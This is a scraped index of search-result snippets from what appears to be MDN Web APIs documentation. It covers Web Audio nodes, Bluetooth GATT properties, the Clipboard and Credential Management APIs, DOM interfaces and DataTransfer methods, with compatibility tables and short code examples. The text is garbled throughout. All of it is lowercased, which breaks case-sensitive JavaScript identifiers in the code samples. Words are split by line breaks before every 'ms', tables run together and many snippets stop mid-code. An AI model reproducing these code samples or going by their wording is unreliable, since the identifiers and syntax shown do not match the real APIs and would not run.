msource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .catch(function(err) { // handle getusermedia() error }); specifications specification status comment web audio apith...
AudioContext.getOutputTimestamp() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetoutputtimestamp experimentalchrome full support 57edge full support ≤79firefox full support 70ie no support noopera full support 44safari no s...
... nowebview android full support 57chrome android full support 57firefox android no support noopera android full support 43safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no supportexperimental.
AudioListener.setOrientation() - Web APIs
the two vectors must be separated by an angle of 90° — in linear analysis ter
ms, they must be perpendicular to each other.
...function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioParam.cancelAndHoldAtTime() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcancelandholdattimechrome full support 57 full support 57 no support ?
...— 43alternate name alternate name uses the non-standard name: cancelvaluesandholdattime()safari ios no support nosa
msung internet android full support 7.0 full support 7.0 no support ?
AuthenticatorAttestationResponse.attestationObject - Web APIs
the public key that corresponds to the private key that has created the attestation signature is well known; however, there are various well known attestation public key chains for different ecosyste
ms (for example, android or tpm attestations).
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the response // (sending it back to the relying party server maybe?) }).catch(function (err) { con...
BaseAudioContext.createChannelMerger() - Web APIs
the createchannelmerger() method of the baseaudiocontext interface creates a channelmergernode, which combines channels from multiple audio strea
ms into a single audio stream.
... syntax baseaudiocontext.createchannelmerger(numberofinputs); parameters numberofinputs the number of channels in the input audio strea
ms, which the output stream will contain; the default is 6 if this parameter is not specified.
BaseAudioContext.createConstantSource() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcreateconstantsourcechrome full support 56edge full support ≤79firefox full support 53ie no support noopera full support 43safari no support ...
... nowebview android full support 56chrome android full support 56firefox android full support 53opera android full support 43safari ios no support nosa
msung internet android full support 6.0legend full support full support no support no support ...
BasicCardRequest.supportedTypes - Web APIs
the obsolete supportedtypes property of the basiccardrequest dictionary can optionally be provided to specify an array of do
mstrings representing the card types that the retailer supports (e.g.
... syntax basiccardrequest.supportedtypes = [cardtype1...cardtypen]; value an array containing one or more do
mstrings, which describe the card types the retailer supports.
BasicCardResponse.billingAddress - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbillingaddresschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must explici...
Using the Beacon API - Web APIs
the data argument is optional and its type may be an arraybufferview, blob, do
mstring, or formdata.
... this code snippet is for the global context: function worker_send(url, data) { // create the worker object var myworker = new worker("worker-using.js"); // send the worker the url and data to beacon myworker.postmessage([url, data]); // set up a message handler to receive the success/fail message from the worker myworker.onmessage = function(event) { var
msg = event.data; // log worker's send status console.log("worker reply: sendbeacon() status = " +
msg); }; } this code snippet is for the worker (worker-using.js): onmessage = function(event) { var
msg = event.data; // split the url and data from the message var url =
msg[0]; var data =
msg[1]; // if the browser supports worker sendbeacon(), then send the beacon; otherwise ...
Beacon API - Web APIs
the data argument is optional and its type may be an arraybufferview, blob, do
mstring, or formdata.
...the data argument is optional and its type may be an arraybufferview, blob, do
mstring, or formdata.
BiquadFilterNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbiquadfilternode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie n...
... sa
msung internet android full support 6.0notes full support 6.0notes notes before sa
msung internet 7.0, the default values were not supported.legend full support full support no support ...
BlobEvent.timecode - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettimecode experimentalchrome full support 57edge full support ≤79firefox ?
... opera android full support 43safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
id - Web APIs
the bluetoothdevice.id read-only property returns a do
mstring that uniquely identifies a device.
... syntax var id = instanceofbluetoothdevice.id returns a do
mstring.
BluetoothDevice.name - Web APIs
the bluetoothdevice.name read-only property returns a do
mstring that provides a human-readable name for the device.
... syntax var name = instanceofbluetoothdevice.name returns a do
mstring.
BluetoothRemoteGATTCharacteristic.uuid - Web APIs
the bluetoothremotegattcharacteristic.uuid read-only property returns do
mstring containing the uuid of the characteristic, for example '00002a37-0000-1000-8000-00805f9b34fb' for the heart rate measurement characteristic.
... syntax var uuid = bluetoothremotegattcharacteristic.uuid returns a do
mstring.
characteristic - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcharacteristic experimentalchrome full support 57notes full support 57notes notes macos only.
... nowebview android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no supportexperimental.
readValue() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreadvalue experimentalchrome full support 57notes full support 57notes notes macos only.
... nowebview android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no supportexperimental.
uuid - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetuuid experimentalchrome full support 57notes full support 57notes notes macos only.
... nowebview android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no supportexperimental.
value - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetvalue experimentalchrome full support 57notes full support 57notes notes macos only.
... nowebview android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no supportexperimental.
writeValue() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetwritevalue experimentalchrome full support 57notes full support 57notes notes macos only.
... nowebview android no support nochrome android full support 57firefox android no support noopera android full support 44safari ios no support nosa
msung internet android full support 7.0legend full support full support no support no supportexperimental.
uuid - Web APIs
the bluetoothgattservice.uuid read-only property returns a do
mstring representing the uuid of this service.
... syntax var uuid = bluetoothgattservice.uuid returns a do
mstring.
Broadcast Channel API - Web APIs
an example string message: // example of sending of a very simple message bc.postmessage('this is a test message.'); any kind of object can be sent, not just a do
mstring.
... the messaging protocol is not defined and the different browsing contexts need to implement it the
mselves; there is no negotiation nor requirement from the specification.
BudgetService.getBudget() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetbudget experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... sa
msung internet android full support 6.0legend full support full support compatibility unknown compatibility unknownexperimental.
BudgetService.getCost() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetcost experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... sa
msung internet android full support 6.0legend full support full support compatibility unknown compatibility unknownexperimental.
BudgetService.reserve() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetreserve experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ?
... sa
msung internet android full support 6.0legend full support full support compatibility unknown compatibility unknownexperimental.
BudgetState.budgetAt - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbudgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... sa
msung internet android full support 8.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
BudgetState.time - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettime experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
... sa
msung internet android full support 8.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
CSS.escape() - Web APIs
the css.escape() static method returns a csso
mstring containing the escaped string passed as parameter, mostly for use as part of a css selector.
... syntax escapedstr = css.escape(str); parameters str the csso
mstring to be escaped.
CSSNamespaceRule.namespaceURI - Web APIs
the cssnamespacerule.namespaceuri read-only property returns a do
mstring containing the text of the uri of the given namespace.
... syntax var namespaceuri = cssnamespacerule.namespaceuri returns a do
mstring containing a uri.
CSSNamespaceRule.prefix - Web APIs
the cssnamespacerule.prefix read-only property returns a do
mstring with the name of the prefix associated to this namespace.
... syntax var prefix = cssnamespacerule.prefix returns a do
mstring containing the prefix associated to this namespace.
CSSStyleDeclaration.removeProperty() - Web APIs
syntax var oldvalue = style.removeproperty(property); parameters property is a do
mstring representing the property name to be removed.
... return value oldvalue is a do
mstring equal to the value of the css property before it was removed.
CSSStyleRule.selectorText - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetselectortextchrome full support 1edge full support 12firefox full support 1ie full support 9opera full support yessafari full support ...
... 6webview android full support 4.4chrome android full support 18firefox android full support 4opera android full support yessafari ios full support yessa
msung internet android full support 1.0legend full support full support ...
CSSStyleSheet.addRule() - Web APIs
syntax var result = cssstylesheet.addrule(selector, styleblock, index); parameters selector a do
mstring specifying the selector portion of the css rule.
... styleblock a do
mstring indicating the style block to apply to elements matching the selector.
Determining the dimensions of elements - Web APIs
most of the time these are the same as width and height of element.getboundingclientrect(), when there aren't any transfor
ms applied to the element.
... in case of transfor
ms, the offsetwidth and offsetheight returns the element's layout width and height, while getboundingclientrect() returns the rendering width and height.
Using the CSS Typed Object Model - Web APIs
it is a class that defines numbers with units of measurement like 20px, 40%, 200
ms, or 7.
... let's examine a css example with several custom properties, transfor
ms, calc()s, and other features.
Applying styles and colors - Web APIs
note that the maximum miter length is the product of the line width measured in the current coordinate system, by the value of this miterlimit property (whose default value is 10.0 in the html <canvas>), so the miterlimit can be set independently from the current display scale or any affine transfor
ms of paths: it only influences the effectively rendered shape of line edges.
...it is an animation technique often found in selection tools of computer graphics progra
ms.
Basic animations - Web APIs
in normal circu
mstances, we only see these results appear on the canvas when the script finishes executing.
...div#selector>div { flex-basis: 30% } @keyframes diss { from { opacity: 1 } to { opacity: 0 } } .keypress>div { border: dashed 3px #fff; height: 48%; width: 48%; display: flex; align-content: center; justify-content: center; align-self: center; align-ite
ms: center; font-size: -webkit-xxx-large; font-weight: 900; color: #fff; transition: .5s; opacity: .1; border-radius: 7px } .keypress { position: fixed; width: 100vw; height: 100vh; top: 0; left: 0; display: flex; flex-wrap: wrap; justify-content: space-around; opacity: 1;...
Optimizing canvas - Web APIs
a possible optimization in this situation is to layer your ite
ms using multiple <canvas> elements.
... scaling canvas using css transfor
ms css transfor
ms are faster since they use the gpu.
Using images - Web APIs
you can use the drawing context's imagesmoothingenabled property to control the use of image smoothing algorith
ms when scaling images within your context.
...you can disable this feature like this: ctx.mozimagesmoothingenabled = false; ctx.webkitimagesmoothingenabled = false; ctx.
msimagesmoothingenabled = false; ctx.imagesmoothingenabled = false; « previousnext » ...
Clipboard.read() - Web APIs
if (result.state == "granted" || result.state == "prompt") { navigator.clipboard.read().then(data => { for (let i=0; i<data.ite
ms.length; i++) { if (data.ite
ms[i].type != "image/png") { alert("clipboard contains non-image data.
... unable to access it."); } else { const blob = data.ite
ms[i].gettype("image/png"); imgelem.src = url.createobjecturl(blob); } } }); } }); note: at this time, while firefox does implement read(), it does not recognize the "clipboard-read" permission, so attempting to use the permissions api to manage access to the api will not work.
Clipboard - Web APIs
the clipboard is a data buffer that is used for short-term, data storage and/or data transfers, this can be between documents or applications it is usually implemented as an anonymous, temporary data buffer, sometimes called the paste buffer, that can be accessed from most or all progra
ms within the environment via defined programming interfaces.
... readtext() requests text from the system clipboard; returns a promise which is resolved with a do
mstring containing the clipboard's text once it's available.
ClipboardItem.getType() - Web APIs
examples in the following example, we're returning all ite
ms on the clipboard via the clipboard.read() method.
... async function getclipboardcontents() { try { const clipboardite
ms = await navigator.clipboard.read(); for (const clipboarditem of clipboardite
ms) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.types - Web APIs
examples in the below example, we're returning all ite
ms on the clipboard via the clipboard.read() method.
... async function getclipboardcontents() { try { const clipboardite
ms = await navigator.clipboard.read(); for (const clipboarditem of clipboardite
ms) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem - Web APIs
ipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all ite
ms on the clipboard via the clipboard.read() method.
... async function getclipboardcontents() { try { const clipboardite
ms = await navigator.clipboard.read(); for (const clipboarditem of clipboardite
ms) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
CloseEvent() - Web APIs
syntax var event = new closeevent(typearg, closeeventinit); values typearg is a do
mstring representing the name of the event.
... "reason", optional and defaulting to '', of type do
mstring, that is a human-readable reason why the server closed the connection.
ContentIndex - Web APIs
' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } retrieving ite
ms within the current index the below example shows an asynchronous function that retrieves ite
ms within the content index and iterates over each entry, building a list for the interface.
...they are accessible from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexite
ms = self.registration.index.getall(); specifications specification status comment unknownthe definition of 'contentindex' in that specification.
Content Index API - Web APIs
' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } retrieving ite
ms within the current index the below example shows an asynchronous function that retrieves ite
ms within the content index and iterates over each entry, building a list for the interface.
...they are accessible from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexite
ms = self.registration.index.getall(); contentdelete event when an item is removed from the user agent interface, a contentdelete event is received by the service worker.
ConvolverNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetconvolvernode() constructorchrome full support 55edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... sa
msung internet android full support 6.0legend full support full support no support no support compatibility unknown compatibility unknown ...
Credential.id - Web APIs
the id property of the credential interface returns a do
mstring containing the credential's identifier.
... syntax var id = credential.id; value a a do
mstring containing the credential's identifier.
Credential.name - Web APIs
the name property of the credential interface returns a do
mstring, containing the name associated with a credential.
... syntax var credname = credential.name; value a do
mstring containing the credential's given name.
Credential.type - Web APIs
the type property of the credential interface returns a do
mstring containing the credential's type.
... syntax var credtype = credential.type; value a do
mstring contains a credential's given name.
Credential - Web APIs
properties credential.id read only returns a do
mstring containing the credential's identifier.
... credential.type read only returns a do
mstring containing the credential's type.
Credential Management API - Web APIs
for example, user agents have a particularly hard time dealing with federated identity providers or esoteric sign-in mechanis
ms that use more than just a username and password.
... to address these proble
ms, the credential management api provides ways for a website to store and retrieve different types of credentials.
CredentialsContainer.get() - Web APIs
the available options are: providers: an array of do
mstring instances of identity providers to search for.
... protocols an array of do
mstring instances of federation protocols to search for.
Crypto - Web APIs
properties this interface implements properties defined on rando
msource.
... methods this interface implements methods defined on rando
msource.
DOMError - Web APIs
properties domerror.name read only returns a do
mstring representing one of the error type names (see below).
... domerror.message read only returns a do
mstring representing a message or description associated with the given error type name.
DOMException.code - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcodechrome full support yesedge full support 12firefox full support 1ie ?
... yeswebview android full support yeschrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
DOMException.name - Web APIs
the name read-only property of the domexception interface returns a do
mstring that contains one of the strings associated with an error name.
... syntax var domexceptionname = domexceptioninstance.name; value a do
mstring.
DOMException - Web APIs
domexception.message read only returns a do
mstring representing a message or description associated with the given error name.
... domexception.name read only returns a do
mstring that contains one of the strings associated with an error name.
DOMImplementation.createDocument() - Web APIs
syntax var doc = document.implementation.createdocument(namespaceuri, qualifiednamestr, documenttype); parameters namespaceuri is a do
mstring containing the namespace uri of the document to be created, or null if the document doesn't belong to one.
... qualifiednamestr is a do
mstring containing the qualified name, that is an optional prefix and colon plus the local root element name, of the document to be created.
DOMImplementation.hasFeature() - Web APIs
syntax const flag = document.implementation.hasfeature(feature, version); parameters feature a do
mstring representing the feature name.
... version a do
mstring representing the version of the specification defining the feature.
DOMMatrix - Web APIs
dommatrix.scalenonunifor
mself() modifies the matrix by applying the specified scaling on the x, y, and z axes, centered at the given origin.
... dommatrix.setmatrixvalue() replaces the contents of the matrix with the matrix described by the specified transform or transfor
ms.
DOMMatrixReadOnly - Web APIs
dommatrixreadonly.tostring() creates and returns a do
mstring object which contains a string representation of the matrix in css matrix syntax, using the appropriate css matrix notation.
... dommatrixreadonly.transformpoint() transfor
ms the specified point using the matrix, returning a new dompoint object containing the transformed point.
DOMRectReadOnly.fromRect() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfromrect() static functionchrome full support 57edge full support 79firefox full support 69ie no support noopera full support 44safari full support...
... 10.1webview android full support 57chrome android full support 57firefox android no support noopera android full support 43safari ios full support 10.3sa
msung internet android full support 7.0legend full support full support no support no support ...
DOMTokenList.forEach() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetforeachchrome full support 45edge full support 16firefox full support 50ie no support noopera full support 32safari full support ...
... 10webview android full support 45chrome android full support 45firefox android full support 50opera android full support 32safari ios full support 10sa
msung internet android full support 5.0legend full support full support no support no support ...
DOMTokenList.item() - Web APIs
syntax tokenlist.item(index) parameters index a do
mstring representing the index of the item you want to return.
... return value a do
mstring representing the returned item.
DOMTokenList.replace() - Web APIs
syntax tokenlist.replace(oldtoken, newtoken); parameters oldtoken a do
mstring representing the token you want to replace.
... newtoken a do
mstring representing the token you want to replace oldtoken with.
DOMTokenList.value - Web APIs
the value property of the domtokenlist interface is a stringifier that returns the value of the list as a do
mstring, or clears and sets the list to the given value.
... syntax tokenlist.value; value a do
mstring examples in the following example we retrieve the list of classes set on a <span> element as a domtokenlist using element.classlist, then write the value of the list to the <span>'s node.textcontent.
DataTransfer.mozClearDataAt() - Web APIs
the index must be in the range from zero to the number of ite
ms minus one.
... removing the last format for a particular index removes that item entirely, shifting the remaining ite
ms down and changing their indices.
DataTransfer.mozGetDataAt() - Web APIs
this method returns null if the specified item does not exist or if the index is not in the range from zero to the number of ite
ms minus one.
... function drop_handler(event) { var dt = event.datatransfer; var count = dt.mozitemcount; output("ite
ms: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); ...
DataTransfer.mozItemCount - Web APIs
the datatransfer.mozitemcount property returns the number of ite
ms being dragged.
... syntax datatransfer.mozitemcount; return value a number representing the number of ite
ms being dragged.
DataTransfer.mozSetDataAt() - Web APIs
a data transfer may store multiple ite
ms, each at a given zero-based index.
... function dragstart_handler(event) { var dt = event.datatransfer; var idx = dt.mozitemcount; // add two new ite
ms to the drag transfer if (idx >= 0) { dt.mozsetdataat("text/uri-list","http://www.example.com/", idx); dt.mozsetdataat("text/html", "hello world", idx+1); } } specifications this method is not defined in any web standard.
DataTransfer.setData() - Web APIs
syntax void datatransfer.setdata(format, data); arguments format a do
mstring representing the type of the drag data to add to the drag object.
... data a do
mstring representing the data to add to the drag object.
DataTransferItem.getAsString() - Web APIs
return value undefined callback the callback parameter is a callback function which accepts one parameter: do
mstring the drag data item's string data.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.ite
ms; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
DataTransferItem.kind - Web APIs
syntax var itemkind = datatransferitem.kind; return value a do
mstring representing the drag data item's kind.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.ite
ms; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
DataTransferItem.type - Web APIs
syntax dataitem.type; return value a do
mstring representing the drag data item's type.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.ite
ms; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
DelayNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdelaynode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not supported.edge full support ≤79firefox full support 53ie no supp...
... sa
msung internet android full support 6.0notes full support 6.0notes notes before sa
msung internet 7.0, the default values were not supported.legend full support full support no support ...
DisplayMediaStreamConstraints.video - Web APIs
cursor a constraindo
mstring which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving.
... displaysurface a constraindo
mstring which specifies the types of display surface that may be selected by the user.
Document.evaluate() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetevaluatechrome full support 1edge full support 12firefox full support 1.5ie no support noopera full support 9safari full support ...
... 5webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 4.2sa
msung internet android full support 1.0legend full support full support no support no support see also document.createexpression() xpathresult xpath code snippets check for browser support ...
Document.execCommand() - Web APIs
parameters acommandname a do
mstring specifying the name of the command to execute.
... avalueargument for commands which require an input argument, is a do
mstring providing that information.
Document.fonts - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfontschrome full support 60edge full support 79firefox full support 41 full support 41 no support 35 — 41disabled disabled from version 35 until version 41 (exclusive): this featur...
... 10webview android full support 60chrome android full support 60firefox android full support yesopera android full support 44safari ios full support 10sa
msung internet android full support 5.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
Document.lastModified - Web APIs
alert(document.lastmodified); // returns: tuesday, december 16, 2017 11:09:42 transforming lastmodified into a date object this example transfor
ms lastmodified into a date object.
... let olastmodif = new date(document.lastmodified); transforming lastmodified into milliseconds this example transfor
ms lastmodified into the number of milliseconds since january 1, 1970, 00:00:00, local time.
Document - Web APIs
document.for
msread only returns a list of the <form> elements within the current document.
...see
msdn.
DocumentOrShadowRoot.getSelection() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetselection experimentalchrome full support 53edge full support 12firefox full support 63ie full support yesopera full support 40safari full suppo...
... yeswebview android full support 53chrome android full support 53firefox android full support 63opera android full support 41safari ios full support yessa
msung internet android full support 6.0legend full support full supportexperimental.
Document Object Model (DOM) - Web APIs
dom interfaces attr cdatasection characterdata childnode comment customevent document documentfragment documenttype domerror domexception domimplementation do
mstring domtimestamp do
mstringlist domtokenlist element event eventtarget htmlcollection mutationobserver mutationrecord namednodemap node nodefilter nodeiterator nodelist nondocumenttypechildnode parentnode processinginstruction selection range text textdecoder textencoder timeranges treewalker url window worker xmldocument obsolete dom interfaces the documen...
...it is uncertain whether some may be reintroduced in the future or not, but for the time being they should be considered obsolete and should be avoided: documenttouch domconfiguration domerrorhandler domimplementationlist domimplementationregistry domimplementationsource domlocator domobject do
msettabletokenlist domuserdata elementtraversal entity entityreference namelist notation typeinfo userdatahandler html dom a document containing html is described using the document interface, which is extended by the html specification to include various html-specific features.
DynamicsCompressorNode() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdynamicscompressornode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie ...
... sa
msung internet android full support 6.0notes full support 6.0notes notes before sa
msung internet 7.0, the default values were not supported.legend full support full support no support ...
Element: MozMousePixelScroll event - Web APIs
bubbles yes cancelable yes interface mousescrollevent getting the distance scrolled the event's detail property indicates the scroll distance in ter
ms of lines, with negative values indicating the scrolling movement is either toward the bottom or toward the right, and positive values indicating scrolling to the top or left.
... if the platform's native mouse wheel events indicate the scroll distance in ter
ms of lines or pages, the value of detail is computed using that value and the line height or page width/height of the nearest ancestor scrollable element that contains the target element.
Element: auxclick event - Web APIs
due to timing differences between operating syste
ms, this too is not a preventable default behavior of auxclick.
... html <button><h1>click me!</h1></button> css html { height: 100%; overflow: hidden; } body { height: inherit; display: flex; justify-content: center; align-ite
ms: center; margin: 0; } button { border: 0; background-color: white; font-size: 8vw; display: block; width: 100%; height: 100%; } h1 { letter-spacing: 0.5rem; } result note: if you are using a three-button mouse, you'll notice that the onauxclick handler is run when any of the non-left mouse buttons are clicked (usually including any "special" buttons on gaming mice).
Element: click event - Web APIs
this counter resets after a short interval without any clicks occurring; the specifics of how long that interval is may vary from browser to browser and across platfor
ms.
...<div>) and which also don't have event listeners directly attached to the elements the
mselves (i.e.
Element.closest() - Web APIs
syntax var closestelement = targetelement.closest(selectors); parameters selectors is a do
mstring containing a selector list.
...article, here it is the div-01 var r4 = el.closest(":not(div)"); // returns the closest ancestor which is not a div, here it is the outmost article polyfill for browsers that do not support element.closest(), but carry support for element.matches() (or a prefixed equivalent, meaning ie9+), a polyfill exists: if (!element.prototype.matches) { element.prototype.matches = element.prototype.
msmatchesselector || element.prototype.webkitmatchesselector; } if (!element.prototype.closest) { element.prototype.closest = function(s) { var el = this; do { if (element.prototype.matches.call(el, s)) return el; el = el.parentelement || el.parentnode; } while (el !== null && el.nodetype === 1); return null; }; } however, if you really do require ie 8 support,...
Element.insertAdjacentText() - Web APIs
syntax element.insertadjacenttext(position, element); parameters position a do
mstring representing the position relative to the element; must be one of the following strings: 'beforebegin': before the element itself.
... element a do
mstring representing the text to be inserted into the tree.
Element.matches() - Web APIs
polyfill for browsers that do not support element.matches() or element.matchesselector(), but include support for document.queryselectorall(), a polyfill exists: if (!element.prototype.matches) { element.prototype.matches = element.prototype.matchesselector || element.prototype.mozmatchesselector || element.prototype.
msmatchesselector || element.prototype.omatchesselector || element.prototype.webkitmatchesselector || function(s) { var matches = (this.document || this.ownerdocument).queryselectorall(s), i = matches.length; while (--i >= 0 && matches.item(i) !== this) {} return i > -1; }; } however, given the practicality of supporting older browsers, th...
... if (!element.prototype.matches) { element.prototype.matches = element.prototype.
msmatchesselector || element.prototype.webkitmatchesselector; } specification specification status comment domthe definition of 'element.prototype.matches' in that specification.
